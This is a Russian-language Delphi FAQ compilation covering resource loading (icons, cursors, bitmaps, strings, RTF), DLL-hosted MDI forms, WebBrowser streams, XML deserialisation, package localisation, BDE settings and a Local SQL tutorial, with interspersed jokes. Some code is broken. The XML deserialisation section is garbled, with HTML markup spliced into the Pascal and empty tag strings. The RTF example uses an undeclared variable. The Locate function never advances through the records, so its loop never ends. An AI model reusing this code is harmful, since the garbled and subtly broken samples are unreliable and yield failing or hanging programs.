Работа с ресурсами – загрузка иконки и курсора.
Автор: Xavier Pacheco
{
Copyright © 1998 by Delphi 4 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
program resource;
uses
Forms,
MainFrm in 'MainFrm.pas' {MainForm};
{$R *.RES}
{$R RESFILE2.RES} // Add the additional resource file
begin
Application.Initialize;
Application.CreateForm(TMainForm, MainForm);
Application.Run;
end.
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
Windows, Forms, Controls, Classes, StdCtrls, ExtCtrls;
const
crXHair = 1; // Declare a constant for the new cursor. This value
type // must be a positive number. or less than -20.
TMainForm = class(TForm)
imgBitmap: TImage;
btnChemicals: TButton;
btnClear: TButton;
btnChangeIcon: TButton;
btnNewCursor: TButton;
btnOldCursor: TButton;
btnOldIcon: TButton;
btnAthena: TButton;
procedure btnChemicalsClick(Sender: TObject);
procedure btnClearClick(Sender: TObject);
procedure btnChangeIconClick(Sender: TObject);
procedure btnNewCursorClick(Sender: TObject);
procedure btnOldCursorClick(Sender: TObject);
procedure btnOldIconClick(Sender: TObject);
procedure btnAthenaClick(Sender: TObject);
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.btnChemicalsClick(Sender: TObject);
begin
{ Load the bitmap from the resource file. The bitmap must be
specified in all CAPS! }
imgBitmap.Picture.Bitmap.LoadFromResourceName(hInstance, 'CHEMICAL');
end;
procedure TMainForm.btnClearClick(Sender: TObject);
begin
imgBitmap.Picture.Assign(nil); // Clear the image
end;
procedure TMainForm.btnChangeIconClick(Sender: TObject);
begin
{ Load the icon from the resource file. The icon must be
specified in all CAPS! }
Application.Icon.Handle := LoadIcon(hInstance, 'SKYLINE');
end;
procedure TMainForm.btnNewCursorClick(Sender: TObject);
begin
{ Assign the new cursor to the Screen's Cursor array }
Screen.Cursors[crXHair] := LoadCursor(hInstance, 'XHAIR');
Screen.Cursor := crXHair; // Now change the cursor
end;
procedure TMainForm.btnOldCursorClick(Sender: TObject);
begin
// Change back to default cursor
Screen.Cursor := crDefault;
end;
procedure TMainForm.btnOldIconClick(Sender: TObject);
begin
{ Load the icon from the resource file. The icon must be
specified in all CAPS! }
Application.Icon.Handle := LoadIcon(hInstance, 'DELPHI');
end;
procedure TMainForm.btnAthenaClick(Sender: TObject);
begin
{ Load the bitmap from the resource file. The bitmap must be
specified in all CAPS! }
imgBitmap.Picture.Bitmap.LoadFromResourceName(hInstance, 'ATHENA');
end;
end.
Загрузить весь проект
Загрузка иконки.
| Автор: Neil |
| А по утрам я плохо загружаюсь... |
Если ваша иконка хранится в компоненте Image (видимым или иным способом), вы можете написать:
Application.Icon := Image1.Picture.Icon; |
Если в файле ресурса:
Application.Icon.Handle := LoadIcon(hInstance, 'ICONNAME'); |
В любом случае для форсирования показа иконки необходимо вызвать следующую функцию:
InvalidateRect(Application.Handle, NIL, True); |
Иконка, расположенная в .RES-файле, должна быть видима в .EXE-файле, к примеру, при просмотре файла посредством Program Manager. Иконка, расположенная в компоненте Image, в этом случае не видна.
Загрузка изображения или курсора из RES-файла.
Загрузка изображений и курсоров из RES-файлов Изображения и курсоры могут храниться в файлах ресурсов (RES) и прилинковываться (связаваться) к EXE-файлу вашего приложения. RES-файлы могут создаваться с помощью Delphi утилит Image Editor и Borland Resource Workshop, входящие в поставку Delphi RAD Pack. Изображения и курсоры, хранимые в RES-файлах (после упаковки их в EXE или DLL) могут быть извлечены с помощью API функций LoadBitmap и LoadCursor соответственно. Загрузка изображенийФункция API LoadBitmap определена следующим образом:
function LoadBitmap(Instance: THandle; BitmapName: PChar): HBitmap; |
Первый параметр должен содержать дескриптор модуля (EXE или DLL), содержащего файл RES, из которого вы хотите получить ресурс. Delphi хранит дескриптор запущенного EXE-файла в глобальной переменной с именем Hinstance. В приведенном ниже примере мы предполагаем, что модуль, из которого мы пытаемся загрузить изображение, - ваше приложение. Тем не менее, модуль мог бы быть другим EXE- или DLL-файлом. Следующий пример загружает изображение с именем BITMAP_1 из RES-файла, прилинкованного к EXE-файлу приложения:
procedure TForm1.Button1Click(Sender: TObject); var Bmp: TBitmap; begin Bmp := TBitmap.Create; Bmp.Handle := LoadBitmap(HInstance,'BITMAP_1'); Canvas.Draw(0, 0, Bmp); Bmp.Free; end; |
Имеется один недостаток использования API вызова LoadBitmap: LoadBitmap все же является API вызовом Windows 3.0, и грузит изображение только как DDB (Device Dependent Bitmaps). Это может вызвать проблемы с цветовой палитрой при загрузке DIB (Device Independent Bitmaps) из RES-файла. Приведенный ниже код может использоваться для извлечения DIB-ов из RES-файлов. Данный код загружает изображение как общий ресурс, передает его в поток, после чего делает Delphi вызов LoadFromStream, реализующий палитру автоматически.
procedure TForm1.Button1Click(Sender: TObject);
const
BM = $4D42; {Идентификатор типа изображения}
var
Bmp: TBitmap;
BMF: TBitmapFileHeader;
HResInfo: THandle;
MemHandle: THandle;
Stream: TMemoryStream;
ResPtr: PByte;
ResSize: Longint;
begin
BMF.bfType := BM;
{Ищем, загружаем и блокируем ресурс, содержащий BITMAP_1}
HResInfo := FindResource(HInstance, 'BITMAP_1', RT_Bitmap);
MemHandle := LoadResource(HInstance, HResInfo);
ResPtr := LockResource(MemHandle);
{Создаем Memory-поток, устанавливаем его размер, записываем
туда заголовок изображения и, наконец, само изображение }
Stream := TMemoryStream.Create;
ResSize := SizeofResource(HInstance, HResInfo);
Stream.SetSize(ResSize + SizeOf(BMF));
Stream.Write(BMF, SizeOf(BMF));
Stream.Write(ResPtr^, ResSize);
{Освобождаем поток и сбрасываем его позицию в 0}
FreeResource(MemHandle);
Stream.Seek(0, 0);
{Создаем TBitmap и загружаем изображение из MemoryStream}
Bmp := TBitmap.Create;
Bmp.LoadFromStream(Stream);
Canvas.Draw(0, 0, Bmp);
Bmp.Free;
Stream.Free;
end;
|
Функция API LoadCursor определена следующим образом:
function LoadCursor(Instance: THandle; CursorName: PChar): HCursor; |
Первый параметр Instance должен содержать дескриптор модуля, содержащего файл RES. Как и пример, приведенный выше, данный пример предполагает, что модуль, из которого мы пытаемся загрузить курсор, - ваше приложение. Второй параметр - имя курсора. В секции interface сделайте следующее объявление:
const
crMyCursor = 5; {Другие модули могут также использовать эту константу}
|
Затем добавьте следующие две строчки к обработчику события формы OnCreate:
procedure TForm1.FormCreate(Sender: TObject); begin Screen.Cursors[crMyCursor] := LoadCursor(HInstance, 'CURSOR_1'); Cursor := crMyCursor; end; |
Или же вы можете изменить один из стандартных курсоров Delphi как показано ниже (константы Cursor описаны в электронной справке в статье Cursors Property):
procedure TForm1.FormCreate(Sender: TObject);
begin
{Данный пример изменяет курсор SQL Hourglass}
Screen.Cursors[crSQLWait] := LoadCursor(HInstance, 'CURSOR_1');
end;
|
Примечание: в нормальной ситуации необходимо удалить любые ресурсы курсоров с помощью DeleteCursor, тем не менее, в Delphi в этом нет необходимости, поскольку Delphi сама удаляет все курсоры из массива Cursors.
О загрузке дочерней формы (MDIChild) из DLL.
Данную статью меня заставило написать огромное количество вопросов в Круглом Столе (а теперь еще и в Подводных Камнях) насчет размещения дочерней формы в библиотеке DLL. Честно говоря, у меня никогда не возникало такой необходимости и я обходился простым приложением. Но масса вопросов без ответа посадило меня за кнопки вечерком. Говорят, что те ответы, которые, тем не менее, присутствуют, не работающие. И проверять мне их совсем не хотелось. Я решил начать решать проблему с нуля.Поначалу я решил досконально разобраться в работе TForm и TApplication дабы точно представлять себе, как эти оболочки взаимодействуют с Windows, но потом понял, что ковыряться в сотнях строк исходников мне совсем неохота. Я просто посмотрел и увидел, что кроме, собственно handl-ов эти компоненты оперируют со своими всяческими внутренними служебными списками (обычно TList) и передачей хэндла тут не обойдешься. Для работы форм необходимы оба глобальных (для программы) объекта: и TApplication и TScreen. Подг ружаемая DLL, если использует разного рода формы и контролы их тоже создает. Но они другие! В смысле другие instances, которые и знать не знают о таких-же объектах в главном приложении. Но они есть и убивать их тоже не хочется (мало-ли чего случится, если убить объект TApplication, даже в DLL). Поэтому решение пришло следующее. Создаем в нашей DLL две служебные функции, функцию вызова нашей дочерней формы и две переменные (пишу StdCall потому что всегда DLL-ки так оформляю, это удобно):
var DLLApp: TApplication; DLLScr: TScreen; procedure InitPlugin(App, Scr: integer); StdCall; begin DLLScr := Screen; Screen := TScreen(Scr); DLLApp := Application; Application := TApplication(App); end; procedure DonePlugin; StdCall; begin Screen := DLLScr; Application := DLLApp; end; function CreateMDI: integer; StdCall; begin Result := integer(TfrmMyChildForm.Create(Application)); end; exports InitPlugin, DonePlugin, CreateMDI; |
Напоследок. Я не претендую на полное исследование темы. Возможно в других версиях Дельфи есть и другие необходимые глобальные обьекты. Возможно, если формы будут использовать печать, то необходимо передать таким-же образом и объект Printer, однако это сам и можете проверить. Стоит посмотреть, чем занимается delphimm.dll, ведь она устраивает общий менеджер памяти, может и еще чего интересное делает. Удачи всем.
Загрузить RTF файл из ресурса своего EXE.
(*
Load RTF file from resource:
You can store any kind of file as a RCDATA resource.
The following example shows this with an RTF file.
Create a text file called textres.rc and put the
following line in it:
TESTDOC RCDATA "textdoc.rtf"
Next, compile that using the Borland Resource Compiler,
which is provided with Delphi.
brcc32.exe textres.rc
Your next step is to include the compiled resource (.RES) file into
your executable, which can be done with the {$R} compiler directive.
*)
(*
Man kann eine beliebige Datei als RCDATA Ressource in eine
Exe-Datei einbinden.
Das folgende Beispiel zeigt, wie man einen RTF-Text aus
einer Ressource ladt und in einem TRichEdit anzeigt.
Erstelle zuerst eine Datei "textres.rc" mit folgendem Inhalt:
TESTDOC RCDATA "textdoc.rtf"
Kompiliere diese mit brcc32.exe:
brcc32.exe textres.rc
Es wurde nun eine textres.res Datei erzeugt.
*)
implementation
{$R *.dfm}
{$R textres.res} // <---- your resource file!
procedure TForm1.Button1Click(Sender: TObject);
var
rs: TResourceStream;
begin
rs := TResourceStream.Create(hinstance, 'TESTDOC', RT_RCDATA);
try
Richedit1.PlainText := False;
TempStream.Position := 0;
Richedit1.Lines.LoadFromStream(rs);
finally
rs.Free;
end;
end;
|
Как загрузить потоковые(stream) данные в WebBrowser не прибегая к открытию файла.
Автор: Per Larsen.
function TForm1.LoadFromStream(const AStream: TStream): HRESULT;
begin
AStream.seek(0, 0);
Result := (WebBrowser1.Document as
IPersistStreamInit).Load(TStreamAdapter.Create(AStream));
end;
|
Загрузка строк из RES-файла.
| Программер сидит ночью за компом и чувствует сзади нежно прикосновение руки жены, и говорит: - Извини дорогая, компьютер занят! |
Используйте функцию LoadString (Windows API). Это должно выглядеть приблизительно так:
var MyString: String; Buffer: array[0..255] of Char; ... LoadString(hInstance, 1234, Buffer, 255); MyString := StrPas(Buffer); |
Где 1234 - ID номер необходимой строки.
Как загрузить строковые данные в WebBrowser не прибегая к открытию файла.
Автор: Ron Loewy.
var v: Variant; HTMLDocument: IHTMLDocument2; begin HTMLDocument := WebBrowser1.Document as IHTMLDocument2; v := VarArrayCreate([0, 0], varVariant); v[0] := HTMLString; // this is your html string HTMLDocument.Write(PSafeArray(TVarData(v).VArray)); HTMLDocument.Close; ... end; |
Загрузка XML в объект.
| Молодая программистка с маленькими скриптами ищет солидного провайдера, способного поддержать ее сайт. Вульгарный хостинг не предлагать. |
После того, как мы рассмотрели возможность превода данных объекта в XML следует перейти к следующей задаче. Задача состоит в реализации обратного процесса, а именно - загрузки XML данных в объект.
Загрузка XML данных в объект, или десериализация, представляет собой более сложный процесс, т.к. в ходе его необходимо осуществить корректный разбор текстового XML документа на предмет инициализации содержащимися в нем данными заданного объекта.
Примем ряд упрощений, которые сократят число проверок корректности входящего XML документа к минимуму. Первое, что необходимо делать, тек это проверять соответствие тега верхнего уровня имени класса нашего объекта. Синтаксическая правильность документа будет проверяться в ходе загрузки данных. При необходимости более жесткой проверки загружаемых XML документов можно привлечь, к примеру, парсер MSXML. Последний поможет нам проверить документ на синтаксическую, а также семантическую корректность при наличии соответствующего DTD.
Первое, что следует реализовать, это процедура верхнего уровня, которая получает объект для инициализации, а также потоковый источник данных с текстом XML документа.
var
// Буфер, в котором находится XML документ
Buffer: PChar;
// Указатель на текущее положение парсера XML документа
TokenPtr: PChar;
{
Загружает в компонент данные из потока с XML-кодом.
Вход:
Component - компонент для конвертации
Stream - источник загрузки XML
Предусловия:
Объект Component должен быть создан до вызова процедуры
}
procedure DeSerialize(Component: TObject; Stream: TStream);
begin
GetMem(Buffer, Stream.Size);
try
{ Получаем данные из потока }
Stream.read(Buffer[0], Stream.Size + 1);
{ Устанавливаем текущий указатель чтения данных }
TokenPtr := Buffer;
{ Вызываем загрузчик }
DeSerializeInternal(Component, Component.ClassName);
finally
FreeMem(Buffer);
end;
end;
|
Следующий код занимается тривиальным разбором XML текта. Ищется первый открывающий тег, затем его закрывающая пара. Найденная пара содержит в себе данные для свойств объекта. Внутри найденной пары тегов последовательно выбираются теги (TagName) и текст их содержания (TagValue). Эти теги предположительно соответствуют свойствам объекта, что мы тут же и проверяем.
Среди свойств объекта отыскивается через FindProperty() оноименное свойство. При неудаче генерируется исключение об ошибочности XML тега. Если для тега найден соответвующее свойство, то передаем дальнейшую обработку процедуре SetPropertyValue(), которая заданное свойство с именем TagName проинициализирует найденным значением TagValue.
Не забываем также передвигать указатель чтения данных TokenPtr по мере выборки данных.
{ Рекурсивная процедура загрузки объекта их текстового буфера с XML Вызывается из: Serialize() Вход: Component - компонент для конвертации ComponentTagName - имя XML тега объекта } procedure DeSerializeInternal(Component: TObject; const ComponentTagName: string); var BlockStart, BlockEnd, TagStart, TagEnd: PChar; TagName, TagValue: PChar; TypeInf: PTypeInfo; TypeData: PTypeData; PropIndex: integer; AName: string; PropList: PPropList; NumProps: word; { Поиск у объекта свойства с заданным именем } function FindProperty(TagName: PChar): integer; var i: integer; begin Result := -1; for i := 0 to NumProps-1 do if CompareText(PropList^[i]^.name, TagName) = 0 then begin Result := i; break; end; end; procedure SkipSpaces(var TagEnd: PChar); begin while (TagEnd[0] in [#0..#20]) do inc(TagEnd); end; begin { Playing with RTTI } TypeInf := Component.ClassInfo; AName := TypeInf^.name; TypeData := GetTypeData(TypeInf); NumProps := TypeData^.PropCount; GetMem(PropList, NumProps*sizeof(pointer)); try GetPropInfos(TypeInf, PropList); { ищем открывающий тег } BlockStart := StrPos(TokenPtr, PChar('')); inc(BlockStart, length(ComponentTagName) + 2); { ищем закрывающий тег } BlockEnd := StrPos(BlockStart, PChar('')); TagEnd := BlockStart; SkipSpaces(TagEnd); { XML парсер } while TagEnd do begin TagStart := StrPos(TagEnd, ''); GetMem(TagName, TagEnd - TagStart + 1); try { TagName - имя тега } StrLCopy(TagName, TagStart + 1, TagEnd - TagStart - 1); TagEnd := StrPos(TagStart, PChar('</' ? + TagNametry <font color="#000080"><em>{ TagValue - значение тега }</em></font> StrLCopy(TagValue, TagStart, TagEnd - TagStart); <font color="#000080"><em>{ поиск свойства, соответствующего тегу }</em></font> PropIndex := FindProperty(TagName); <strong>if</strong> PropIndex = -1 <strong>then</strong> <strong>raise</strong> Exception.Create( 'TglXMLSerializer.DeSerializeInternal: Uncknown property: ' + TagName); SetPropertyValue(Component, PropList^[PropIndex], TagValue); inc(TagEnd, length('</' ? + TagNamefinally FreeMem(TagValue); <strong>end</strong>; <strong>finally</strong> FreeMem(TagName); <strong>end</strong>; <strong>end</strong>; <strong>finally</strong> FreeMem(PropList, NumProps*sizeof(pointer)); <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> Остается только код, который загрузит найденные данные в заданной свойство. Процедуре SetPropertyValue() передаются данные о соответствующем свойстве (PropInfo), которое на следует проинициализировать. Также процедура получает и текстовое значение, содержащееся в найденном теге. </p><p> В случае, если тип данные не является классовым типом, то, очевидно, текст Value следует просто загрузить в свойство. Это реализуется вызовом процедуры TypInfo.SetPropValue(). Последняя самостоятельно разберется, как корректно преобразовать тестовое значение в значение свойства в завистимости от его типа. </p><p> Если свойство имеет классовый тип, то его значение Value должно содержать XML код, описывающий свойства данного класса. В этом случае воспользуемся рекурсией и передадим обработку вышеприведенной процедуре DeSerializeInternal(). При этом передаем ей в качестве объекта ссылку на найденное свойство PropObject и его имя PropInfo^.Name. </p><p> Нам также необходимо озаботиться отдельной обработкой данных для таких классовых типов как списки TStrings и коллекции TCollection. Данные для списков мы загружаем из значения Value как CommaText. Тут все понятно. В сллучае же коллеций данные о элементах коллекции в XML документе содержаться в виде последовательных контейнерных тегов с именем типа элемента коллекци. Т.е., к примеру, <TMyCollection> ... </TMyCollection> <TMyCollection> ... </TMyCollection> <TMyCollection> ... </TMyCollection> и так далее. Внутри каждой пары тегов <TMyCollection> содержатся свойства объекта TMyCollection. </p> <table><tr><td><br> <pre> <strong>procedure</strong> SetPropertyValue(Component: TObject; PropInfo: PPropInfo; Value: PChar); <strong>var</strong> PropTypeInf: PTypeInfo; PropObject: TObject; CollectionItem: TCollectionItem; sValue: <strong>string</strong>; <strong>begin</strong> PropTypeInf := PropInfo.PropType^; <strong>case</strong> PropTypeInf^.Kind <strong>of</strong> tkInteger, tkChar, tkEnumeration, tkFloat, tkString, tkSet, tkWChar, tkLString, tkWString, tkVariant: <strong>begin</strong> sValue := StrPas(Value); <font color="#000080"><em>{ Для корректного преобразования парсером tkSet нужны угловые скобки }</em></font> <strong>if</strong> PropTypeInf^.Kind = tkSet <strong>then</strong> sValue := '[' + sValue + ']'; SetPropValue(Component, PropInfo^.<strong>name</strong>, sValue); <strong>end</strong>; tkClass: <strong>begin</strong> PropObject := GetObjectProp(Component, PropInfo); <strong>if</strong> Assigned(PropObject)<strong>then</strong> <strong>begin</strong> <font color="#000080"><em>{ Индивидуальный подход к некоторым классам }</em></font> <strong>if</strong> (PropObject <strong>is</strong> TStrings) <strong>then</strong> <font color="#000080"><em>{ Текстовые списки }</em></font> TStrings(PropObject).CommaText := Value <strong>else</strong> <strong>if</strong> (PropObject <strong>is</strong> TCollection) <strong>then</strong> <font color="#000080"><em>{ Коллекции }</em></font> <strong>begin</strong> <strong>while</strong> true <strong>do</strong> <font color="#000080"><em>{ Заранее не известно число элементов в коллекции }</em></font> <strong>begin</strong> CollectionItem := (PropObject <strong>as</strong> TCollection).Add; <strong>try</strong> DeSerializeInternal(CollectionItem, CollectionItem.ClassName); <strong>except</strong> <font color="#000080"><em>{ Исключение, если очередной элемент не найден }</em></font> CollectionItem.Free; break; <strong>end</strong>; <strong>end</strong>; <strong>end</strong> <strong>else</strong> <font color="#000080"><em>{ Для остальных классов - рекурсивная обработка }</em></font> DeSerializeInternal(PropObject, PropInfo^.<strong>name</strong>); <strong>end</strong>; <strong>end</strong>; <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> К приведенному коду следует добавить еще ряд возможностей для более корректной реакции для обработки неверного XML кода. Также можно достаточно просто реализовать автоматическую генерацию DTD для любого класса Delphi. После этого можно собрать полноценный компонент, объединяющий в себе всю необходимую функциональность для XML сериализации. </p> <!-- end -->Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package).
Автор: Alexander SimonenkoВот, случайно набрели в хэлпе. Если нужно изменить ресурсы какого-либо модуля,то это можно делать с помощью нехитрой операции:
Вынимаете ресурсы из этого модуля. Переводите их на другой язык. (например русский) Создаете в Delphi свой проект Dll-ки (с именем того модуля, из которого вы вынули ресурсы, например vcl30), в который включаете _переведенные_ ресурсы: {$R vcl30rus.res} Собираете все это. Переименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System. Если вы хотите, приложение "говорило" по русски только тогда, когда в региональных установках стоит Russia - то тогда это все.Если же вы хотите, чтобы ваше приложение _всегда_ поднимало русские ресурсы,то необходимо сделать следующее добавление в Registry:HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales "X:\MyProject\MyApp.exe" = "rus" Теперь, когда ваше приложение будет поднимать pakages, то всегда будут браться русские ресурсы. Другие приложения, например Delphi - это не затронет.Таким образом можно заменять даже DFM-ки из проекта.Более подробно об этом - см Help - Index - Localizing...
Локальный общий доступ.
Автор: Eryk Bottomley ...я так понимаю, что LocalShare относится к ситуации, когда другие не-IDAPI приложения могут одновременно иметь доступ к одним и тем же файлам... Примерно на такие мысли наталкивает поставляемая документация... к сожалению это не так.LOCALSHARE=False говорит BDE о том, что он должен сам решать при необходимости вопрос о блокировке таблицы/записи в типичных ситуациях, например, когда BDE 'думает' что таблица находится на локальном диске он выключает блокировку для увеличения скорости доступа. К сожалению, логические диски общего пользования в сетях 'p-t-p' программно идентифицируются как локальные с предсказуемо липовыми результатами. Установка LOCALSHARE=True заставляет блокирующий механизм 'включаться' для всех дисков и, следовательно, решает эту проблему.
Локальные операторы языка SQL.

| Вывод нужных полей. |
| SELECT LastName, FirstName, Salary FROM employee. [Хотим вывести только имя, фамилию и оклад служащих]. |
| Вывод всех полей из таблицы. |
| SELECT * FROM employee. [ * обозначает все поля]. |
| Задание псевдонима таблице. |
| SELECT * FROM employee emp. Where emp.salary>35000. [Таблице employee в качестве псевдонима задано emp. Выводим всех служащих с окладом свыше 35000]. |
| Исключение дубликатов. |
| SELECT DISTINCT Country FROM vendors. [Хотим узнать из каких стран поставляют продукцию]. |
| Постановка условия. |
| SELECT * FROM vendors. Where Country='Canada' [Выводим поставщиков из Канады]. |
| Использование логические операторов. |
| SELECT * FROM vendors. Where Country='U.S.A.' and Preferred='True' [Выводим только предпочитаемых поставщиков из США. Когда используем оператор AND должны удовлетворяться оба условия]. SELECT * FROM animals. Where AREA='South America' or AREA='New Orleans' [Хотим видеть только тех животных, которые обитают в Южной Америке или Новом Орлеане. Когда используем оператор OR должно удовлетворяться хотя бы одно условие]. SELECT * FROM animals Where AREA='South America' and not Weight<7. [Выводим животных, обитающих в Южной Америке с весом не менее 7 кг. Когда используем оператор AND NOT должно удовлетворяться первое условие и не должно - второе]. SELECT * FROM animals Where Weight<5 or not Weight<10. [Выводим животных, с весом менее 5 кг или более 10 кг. Когда используем оператор OR NOT должно либо удовлетворяться первое условие, либо не должно - второе]. |
| Упорядочивание записей по возрастанию/убыванию/по номеру столбца. |
| SELECT * FROM animals order by Weight. [Выводим животных в порядке увеличения веса: сначала самые лёгкие, в конце самые тяжелые]. SELECT * FROM animals order by Weight desc. [...наоборот - по убыванию]. SELECT * FROM animals order by 3. [Упорядочить по третьему столбцу (отсчёт начинается с 1 )]. |
| Объединение нескольких запросов. |
| SELECT * FROM animals Where Area='South America' UNION SELECT * FROM animals Where Area='New Orleans' [Выводим тех животных, которые обитают в Южной Америке, а так же тех, которые обитают в Новом Орлеане. Оператором UNION можем объединять несколько запросов]. |
| Максимальное/минимальное значение поля. |
| SELECT MAX(Salary) FROM employee. [Выводим максимальный оклад из таблицы служащих]. SELECT MIN(Salary) FROM employee. [Выводим минимальный оклад из таблицы служащих]. |
| Сумма всех значений/среднее значение. |
| SELECT SUM(Salary) FROM employee. [Так можем узнать сколько получают служащие некой фирмы вместе взятые]. SELECT AVG(Salary) FROM employee. [Так можем узнать среднестатистический оклад]. |
| Количество записей в таблице/в поле. |
| SELECT COUNT(*) FROM employee. [Находим количество записей в таблице - в данном случае количество служащих]. SELECT COUNT(*) FROM clients Where occupation='Programmer' [Посчитали сколько человек увлекаются программированием]. |
| Группировка записей. |
| SELECT Continent, MAX(Area) FROM country group by Continent. [С помощью конструкции "group by" можем узнать какая страна занимает самую большую площадь для каждого континента]. |
| Конструкция IN. |
| Select * from Customer Where Country IN ('US','Canada','Columbia'). [Выводим покупателей из США, Канады и Колумбии]. Select * from Customer Where Country NOT IN ('US','Canada'). [Выводим всех покупателей за исключением тех, кто проживает в США, Канаде]. |
| Вывод пустых/непустых значений. |
| Select * from Customer Where State is NULL. [Выводит те записи, где не введено значение в поле State]. Select * from Customer Where State is NOT NULL. [Выводит те записи, где введено значение в поле State]. |
| Вывод значений приблизительно соответствующих нужным. |
| Select * from employee Where LastName like 'L%' [Выводим только тех служащих, у которых фамилия начинается на букву 'L'. Знак '%' - означает любые символы]. Select * from employee Where LastName like 'Nels_n' [Например, мы не помним: как правильно пишется 'Nelson' или 'Nelsan', тогда нужно будет воспользоваться знаком подчёркивания, который означает любой символ]. |
| Диапазон значений. |
| Select * from employee Where Salary BETWEEN 25000 AND 50000. [Можем вывести только тех, кто получает от 25000 до 50000 включительно]. |
| ANY, SOME, ALL. |
| SELECT * FROM orders.db where custno= ANY (select custno from customer.db where city = 'Largo'); Или. SELECT * FROM orders.db where custno= SOME (select custno from customer.db where city = 'Largo'); Или. SELECT * FROM orders.db where custno IN (select custno from customer.db where city = 'Largo'); [Выводим заказы покупателей из города 'Largo']. SELECT * FROM clients where birth_date>All(select birth_date from clients where city='Los Altos'). [Вывести тех клиентов, которые моложе всех из 'Los Altos']. |
| EXISTS. |
| SELECT * FROM orders.db where custno= ANY (select custno from customer where city = 'Largo') and Exists(SELECT * FROM customer WHERE City='Largo'). [Выводим заказы покупателей из города 'Largo' если вообще есть покупатели с этого города]. |
| Использование параметров. |
| SELECT * FROM clients where Last_Name=:LastNameParam. [Если мы хотим дать возможность пользователю самому указывать фамилию нужного ему клиента. мы вместо значения для поля фамилия указываем параметр. Параметры указываются после двоеточия. И получить доступ к ним можно по индексу из свойства Params компонента Query. Индексация начинается с нуля. Затем, например, по нажатию на кнопке напишем код: Query1.Active:=false; Query1.Params[0].AsString:=Edit1.Text; Query1.Active:=true; ] |
| Вывод дополнительного текста[использование выражений]. |
| SELECT LastName, Salary/100, '$' FROM employee. [Если зарплата указана не в долларах, а какой-то другой валюте, курс которой равен 1 к 100, мы можем вывести данные в $, используя вышеуказанное выражение]. |
| Использование нескольких таблиц. |
| SELECT o.orderno,o.AmountPaid, c.Company FROM orders o, customer c where o.custno=c.custno and c.city='Largo' [Выводим номер и сумму заказа из таблицы заказов и компанию сделавшую заказ из таблицы покупателей]. |
| Вложенные подзапросы. |
| SELECT * FROM employee where Salary=(select MAX(Salary) from employee). [Мы научились выводить максимальное значение, например, можем узнать максимальный оклад у служащих, но куда полезнее было бы узнать кто тот счастливчик. Именно здесь используется механизм вложенных подзапросов]. |
Local SQL и временная таблица.
Автор: Dieter Menne Local SQL не поддерживает вложенные запросы, но после того как я заработал клок седых волос, я нашел в высшей степени простое решение: использование временной таблицы.Пример:
with GeneralQuery do begin SQL.Clear; SQL.Add(.... внутренний SQL); SQL.Open; DbiMakePermanent(handle, 'temp.db',true); SQL.Clear; SQL.Add(SELECT ... FROM 'temp.db'....); SQL.Open; end; |
Единственное: необходимо убедиться в том, что имя таблицы не вступает в конфликт с именами нескольких работающих копий таблицы. И, разумеется, данная технология не даст "живой" набор!
Путь к локальной таблице.
implementation
{$R *.DFM}
uses DbiTypes, DbiProcs;
function fDbiFormFullName(Tbl: TTable): String;
var
Props: CurProps;
Buffer1 : array[0..DBIMAXPATHLEN] of char;
Buffer2 : array[0..DBIMAXPATHLEN] of char;
begin
Check(DbiGetCursorProps(Tbl.Handle,Props));
StrPCopy(Buffer1, Tbl.TableName);
Check(DbiFormFullName(Tbl.DBHandle,
@Buffer1,
Props.szTableType,
@Buffer2));
Result := StrPas(Buffer2);
end;
// Notes:
// Table_You_Are_Using.Active Must be True.
// Works on Local Tables.
|
Функция Locate.
Нижеследующая функция Locate может оказаться весьма полезной (конечно, она не может предложить вам глобальную функциональность типа чуствительность к регистрам, использование индексов, закладок, но все же...).
function Locate(const oTable: TTable; const oField:
TField; const sValue: string): Boolean;
var
bmPos: TBookMark;
bFound: Boolean;
begin
Locate := FALSE;
bFound := FALSE;
if not oTable.Active then
Exit;
if oTable.FieldDefs.IndexOf(oField.FieldName) < 0 then
Exit;
bmPos := oTable.GetBookMark;
with oTable do
begin
DisableControls;
First;
while not EOF do
if oField.AsString = sValue then
begin
Locate := TRUE;
bFound := TRUE;
Break;
end;
end;
end;
|
Поиск по нескольким полям.
keyfields:='name;name_1;n_dom;n_kw';
keyvalues:=VarArrayOf([combobox1.Text, combobox2.Text, edit2.Text, edit3.text]);
if dmod.qrfiz.Locate(keyfields,keyvalues,[])=false then
dmod.qrfiz.Locate('id',id1,[]);
|
Проблема Lock File Has Grown Too Large.
| Чтобы сообщить о проблеме, возникшей с Вашим компьютером, заполните следующую форму: 1. Опишите вашу проблему: 2. А теперь опишите вашу проблему поточнее: 3. Не забудьте пространно порассуждать о возможных причинах возникновения проблемы: Далее даются варианты ответов. Вам нужно подчеркнуть нужный вариант. 4. Важность проблемы: (незначительная) (незначительная) (незначительная) (обычная) 5. В чем выражается проблема: (зависла) (упала) (рухнула) (странный запах) 6. Ваш компьютер подключен к электросети? (да) (нет) 7. Он включен? (да) (нет) 8. Вы пытались починить его самостоятельно? (да) (нет) 9. И стало еще хуже? (да) 10. Вы просили друга, который знает о компьютерах все, починить ваш компьютер? (да) (нет) 11. И он сделал еще хуже? (да) 12. Вы прочли инструкцию? (да) (нет) 13. Вы уверены, что прочли инструкцию? (может быть) (нет) 14. Вы абсолютно точно уверены что прочли инструкцию? (нет) 15. Если вы прочли инструкцию, вы ее поняли? (да) (нет) 16. Если да, то объясните, почему вы не смогли исправить проблему самостоятельно: 17. Что вы делали с вашим компьютером, когда произошла проблема: 18. Если вы ответили "ничего" тогда объясните, почему компьютер включен: 19. Вы уверены, что не выдумали проблему? (да) (нет) 20. Часы на вашем видеомагнитофоне мигают цифрами 00:00? (да) (что такое видеомагнитофон?) 21. У вас есть книга "ПК для чайников"? (да) (нет) 22. У вас есть независимый свидетель вашей проблемы? (да) (нет) 23. У вас в доме есть электронные устройства, которые работают? (да) (нет) 24. Вы ударили хорошенько по вашему компьютеру? (да) (нет) 25. Ваш компьютер горит? (да) (пока еще нет) 26. Вы можете заняться чем-нибудь еще кроме заполнения данной формы? (да) |
4. LOCAL SHARE - TRUE, можно попробовать и FALSE, если это не будет приводить к порче индексов.
